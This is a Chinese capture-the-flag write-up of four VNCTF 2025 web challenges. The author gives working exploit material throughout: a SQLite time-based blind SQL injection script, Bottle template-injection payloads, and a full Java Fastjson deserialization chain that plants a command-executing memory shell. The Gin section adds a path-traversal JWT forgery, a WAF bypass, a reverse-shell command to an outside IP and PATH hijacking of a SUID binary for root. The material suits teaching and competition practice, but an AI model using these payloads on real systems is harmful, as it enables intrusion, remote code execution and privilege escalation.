Web3看到路径穿越下key伪造jwt,也绕过沙箱弹到shell了,就剩一个提权。但这几天比较累,到后面实在是熬不动了,睡觉去了。今早起来看到环境变量提权的可能,但是最后还是没跑赢时间,导致差一题差一点就web方向第2了。

web单方向最终第10,我是前10里面唯一一个只出了三道题的。也许遗憾真的总是贯穿人生始终吧。
奶龙回家
这题我一血。感觉是最简单的一道。我JavaGuide燃尽了才解出来,这个题十分钟就出了,最后JavaGuide解是这个的两倍。绷。
首先测SQL注入闭合的方式。1"发现回显“账号密码错误!!”,1'发现回显“好像发生了某种错误??”。到这里可以确诊是sql注入。
接下来burp fuzz一下。过滤了空格,sleep,or,等于号这些。但是都还好。空格可以/**/代替。or其实根本不需要,直接用and就行,等于号的话用大于小于代替,sleep这个更是幽默——他是sqlite(我试的时候发现对大小写敏感我大概就猜到了),sqlite里没有sleep函数((((这里我们使用最经典的randombolb函数延时,逐字符爆破username和password即可
那么大概思路就是一个sqlite的时间盲注。
先试payload
1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*
发现明显的时间延迟。
一眼顶针了,后面就是经典的时盲二分法。直接可以拿网上的脚本搓出来。
https://www.freebuf.com/articles/network/324785.html
抄脚本下来,由于这里靶机比较卡,我们增大randombolb的参数让他多sleep一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import requests import time url = 'http://node.vnteam.cn:46709/login' flag = '' for i in range(1,500): low = 32 high = 128 mid = (low+high)//2 while(low<high): time.sleep(0.2) payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid)) #把payload里password换成username打username datas = { "username":"1", "password": payload } # print(datas) start_time=time.time() res = requests.post(url=url,json=datas) end_time=time.time() spend_time=end_time-start_time if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。 low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag) print('\n'+bytes.fromhex(flag).decode('utf-8'))
|
由上,我们爆破出username为nailong,password为woaipangmao114514
登录获得flag
学生姓名登记系统
由“单文件框架”猜到是bottle。
翻阅bottle的开发手册,可以看到他渲染templete的模板引擎叫SimpleTemplate,手册如下:
https://www.osgeo.cn/bottle/stpl.html
我们可以看到有:

通过测试如下payload,我们确认是bottle框架:
1 2
| {{setdefault('a','b')}} {{a}}
|
输出:

可以看到我们成功定义了变量a的值为”b”。
通过fuzz可以看到,对于单行有23的长度限制。因此我们的基本思路是采用变量赋值的办法把payload拆成多行,最后再拼到一起即可。
然而我们不得不发现,setdefault有点太长了,光是{{setdefault('a','b')}}这样的payload都已经极限23个字符了。根本无法实现最后的拼接。
于是我们接着去看代码。
可以发现,我们不能直接用赋值符号=来进行赋值。SimpleTemplate不能正确解析{{a=”b”}}这种语句。

我们可以看到python版本为3.12,而自从python3.8之后,python引入了一种新的赋值语句:海象运算符。
https://zhuanlan.zhihu.com/p/351140647
我们可以使用{{a:=”b”}}的语句来赋值吗?

由此特性易得payload:
1 2 3 4 5 6 7
| {{a:=''.__class__}} {{b:=a.__base__}} {{c:=b.__subclasses__}} {{d:=c()}} {{e:=d[154]}} {{f:=e.__init__}} {{g:=f.__globals__}}
|
在环境变量里找到flag

JavaGuide
ObjectInputStream(反序列化)输入数据可控,同时引入Fastjson依赖。那么题其实就是打fastjson。但是,是高版本的,重写了resolveClass,禁止了TemplatesImpl,直接把RCE的终点砍废了。
因此我们使用SignedObject类打二次反序列化,通过注入java内存马的方式RCE。
此事在CISCN 2024决赛中亦有记载:https://xz.aliyun.com/news/15977
有一篇几乎完全重合的文章:https://xz.aliyun.com/news/12052
跟着打就完了。
链子:hashMap2.readObject -> eventListenerList.readObject -> UndoManager.toString -> Vector.toString -> JSONArray1.toString -> SignedObject.getObject -> hashMap1.readObject->XString.equals -> JSONArray.toString -> TemplatesImpl.getOutputProperties
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| import com.alibaba.fastjson.JSONArray; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.bind.DatatypeConverter; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.HashMap; import java.util.Vector; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.CtNewConstructor; import org.springframework.aop.target.HotSwappableTargetSource; public class EXP { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] genPayload(String cmd) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A"); if ((clazz.getDeclaredConstructors()).length != 0) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); } clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }", clazz)); clazz.getClassFile().setMajorVersion(50); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz.toBytecode(); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("whoami")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1,h1); hashMap.put(h2,h2); Class clazz=h2.getClass(); Field transformerdeclaredField = clazz.getDeclaredField("target"); transformerdeclaredField.setAccessible(true); transformerdeclaredField.set(h2,new XString("xxx"));
HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(templates,hashMap);
KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(hashMap1,privateKey,signingEngine);
JSONArray jsonArray1 = new JSONArray(); jsonArray1.add(signedObject);
EventListenerList eventListenerList = new EventListenerList(); UndoManager undoManager = new UndoManager(); Vector vector = (Vector) getFieldValue(undoManager, "edits"); vector.add(jsonArray1); setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap2 = new HashMap(); hashMap2.put(vector,eventListenerList);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap2); objectOutputStream.close();
byte [] bytes=byteArrayOutputStream.toByteArray(); String base64encode= DatatypeConverter.printBase64Binary(bytes); BufferedWriter bufferedWriter=new BufferedWriter(new FileWriter("Ser3.bin")); bufferedWriter.write(base64encode); bufferedWriter.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject();
} }
|

Gin
嗨,结束时间10:00,嗨。为什么不肯多给我一个小时呢?
是LamentXU最爱的纯白盒审计题。
首先很明显就能看到一个路径穿越,有一个任意下载的洞:

显然,我们可以通过/download?filename=../config/key.go拿到jwt的secret和time。
1 2 3 4 5 6 7 8
| package config
func Key() string { return "r00t32l" } func Year() int64 { return 2025 }
|
接着去看jwt的部分。

拿到生成密钥的逻辑。我们整个在线go环境跑一遍:https://www.jyshare.com/compile/21/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package main
import "fmt" import "math/rand"
func GenerateKey() string { rand.Seed(2025) randomNumber := rand.Intn(1000) key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l") return key }
func main() { fmt.Println(GenerateKey()) }
|

拿到key。
接下来就是RCE部分。基本上就是任意RCE,waf如下:

不允许你导入os/exec。然而,这里的正则表达式只匹配第一个import,令人忍俊不禁。
传入code为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package main
import ( "fmt" ) import ( "os/exec" )
func main() { cmd := exec.Command("/bin/bash", "-c", "ls") out, err := cmd.CombinedOutput() fmt.Println(out) fmt.Println(err) }
|
成功执行。
直接cat /flag
发现输出VNCTF2025!!!。假flag(我可*你的吧)。
接下来就是提权
看root权限的文件:find / -perm -u=s -type f 2>/dev/null

可以看到有一个/…/Cat意义不明。
利用下载key.go的同款方法下载Cat。我们尝试将Cat利用cp命令复制到web目录。

随后/download?filename=../Cat
IDA逆向,如下:

发现这里是用的cat /flag而不是/bin/cat /flag。可以环境变量劫持。
(然后比赛结束了,大哭)
有点麻烦,先弹个shell吧。
1 2 3 4 5 6 7 8 9 10 11 12
| package main import ( "fmt" ) import ( "os/exec" ) func main() { cmd := exec.Command("/bin/bash", "-c", "bash -i >& /dev/tcp/101.43.48.199/13311 0>&1") out, err := cmd.CombinedOutput() fmt.Println(out) fmt.Println(err) }
|
注意!!!不要bp发包,用浏览器直接发!!!这破地方坑死我了,要不是我一直用bp我不会卡这么久。


/tmp目录可写,直接写一个/tmp/cat然后把PATH改过去,这样他在cat /flag的时候执行的就是我们/tmp下的那个cat脚本。
我们直接写个shell进去:
1
| echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat
|
赋予执行权限:
导入到环境变量:
然后运行:

劫持成功~
读取/root下的flag(不能用cat,cat被劫持了,可以用/bin/cat)
